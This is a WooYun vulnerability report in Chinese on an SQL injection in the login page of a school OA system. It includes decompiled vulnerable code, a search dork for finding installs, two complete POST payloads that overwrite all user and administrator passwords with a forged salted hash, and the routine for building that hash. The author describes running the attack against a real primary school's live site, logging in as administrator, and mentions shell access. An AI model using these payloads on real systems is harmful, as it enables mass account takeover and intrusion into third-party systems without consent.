当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0154686

漏洞标题:某电子教学办公OA密码重置漏洞

相关厂商:有鸿通信公司

漏洞作者: 路人甲

提交时间:2016-01-11 15:32

修复时间:2016-01-11 15:14

公开时间:2016-01-11 15:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

一个,弱智一样的漏洞,如果遇到WAF的话,可能要费点功夫绕过一下。

详细说明:

在/CheckLogin.aspx这个用于检查登录的程序中对txtName参数不加审核。
从反编译代码里可以看到,CheckLogin.aspx的输入会被直接提交到Sunlinks.WebOA.DataClass.UserMgr之中的三个用于登录的函数里,简洁起见这里只提供一个函数。

public UserInfo GetUserFromAccount(string Account, string Password)
{
UserInfo user;
string str = string.Concat(" select * from users where account='", Account, "' ");
Database database = new Database();
try
{
database.IsSql = true;
database.RunProc(str, out this.UserData);
database.Close();
if (this.UserData.get_Tables().get_Item(0).get_Rows().get_Count() < 1)
{
user = null;
}
else if (!PasswordMgr.ComparePasswords(Password, (byte[])this.UserData.get_Tables().get_Item(0).get_Rows().get_Item(0).get_Item("Password")))
{
this.UserData = null;
user = null;
}
else
{
this.User = new UserInfo(this.UserData);
user = this.User;
}
}
catch (Exception exception1)
{
Exception exception = exception1;
database.Close();
throw exception;
}
return user;
}


这就,爆炸简单了,闭合一下双引号,然后想怎么玩怎么玩咯。

漏洞证明:

Google关键字:Sunlinks OA .NET
OA系统中管理员密码和用户密码是分开存放的,但是然并卵,只要POST的时候改一下表名就可以了。
修改普通用户的密码就向/CheckLogin.aspx提交POST数据:

__SCROLLPOS_TOP=0&__SCROLLPOS_LEFT=0&__EVENTTARGET=lkbCheck&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNzgzNzk1NzU0ZGQbfd4dSsXR6%2B9AO64Q5QyW5pRzr5D28uzEfoqdqQ6H2w%3D%3D&txtName='; update users set Password=0x25814CE396E81BE902D0BC0FBA07B630FAFBBF9023333333;--&txtPass=Test&txtType=account&txtHide=false&__VIEWSTATEGENERATOR=2C1040BE


修改管理员密码就提交如下数据:

__SCROLLPOS_TOP=0&__SCROLLPOS_LEFT=0&__EVENTTARGET=lkbCheck&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNzgzNzk1NzU0ZGQbfd4dSsXR6%2B9AO64Q5QyW5pRzr5D28uzEfoqdqQ6H2w%3D%3D&txtName='; update adminusers set password=0x25814CE396E81BE902D0BC0FBA07B630FAFBBF9023333333;--&txtPass=Test&txtType=account&txtHide=false&__VIEWSTATEGENERATOR=2C1040BE


简单说明一下,0x25814CE396E81BE902D0BC0FBA07B630FAFBBF9023333333这个值。这个值是按照该OA系统加密密码的方式加密了一个明文密码123456,盐值取了0x23333333,下面是该OA系统的密码加密函数,两层SHA1配合一个盐值,盐值保存成最后8位十六进制数。

private static byte[] CreateSaltedPassword(byte[] saltValue, byte[] unsaltedPassword)
{
byte[] numArray = new byte[(int)unsaltedPassword.Length + (int)saltValue.Length];
unsaltedPassword.CopyTo(numArray, 0);
saltValue.CopyTo(numArray, (int)unsaltedPassword.Length);
byte[] numArray1 = SHA1.Create().ComputeHash(numArray);
byte[] numArray2 = new byte[(int)numArray1.Length + (int)saltValue.Length];
numArray1.CopyTo(numArray2, 0);
saltValue.CopyTo(numArray2, (int)numArray1.Length);
return numArray2;
}


本来放了个localhost的示例,乌云居然让我补充完整的问题复现过程和有效的危害证明,这是逼我犯错误啊……
那我就,随手选了第一眼看到的,这个泉星小学吧,名字挺好听的。

0.PNG


然后,就是,POST我们的恶意代码。

1.PNG


没错,刚才提示我们没权限来着,然而,然并卵,接下来就是霸王硬上弓的环节了。
这个系统,管理员帐号取名字统一都是P+数字,而且admin基本都是P1。刚才已经把所有管理员密码都替换成123456了,所以这里我们直接用P1和123456登录。

2.PNG


就,进来了...来了...了...
而且这里还有地方能直接拿Shell,管理员什么的真是太棒了。

3.PNG

修复方案:

过滤一下参数吧,干嘛这么懒啊,过滤一下参数会狗带吗?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2016-01-15 16:18

厂商回复:

CNVD未复现所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无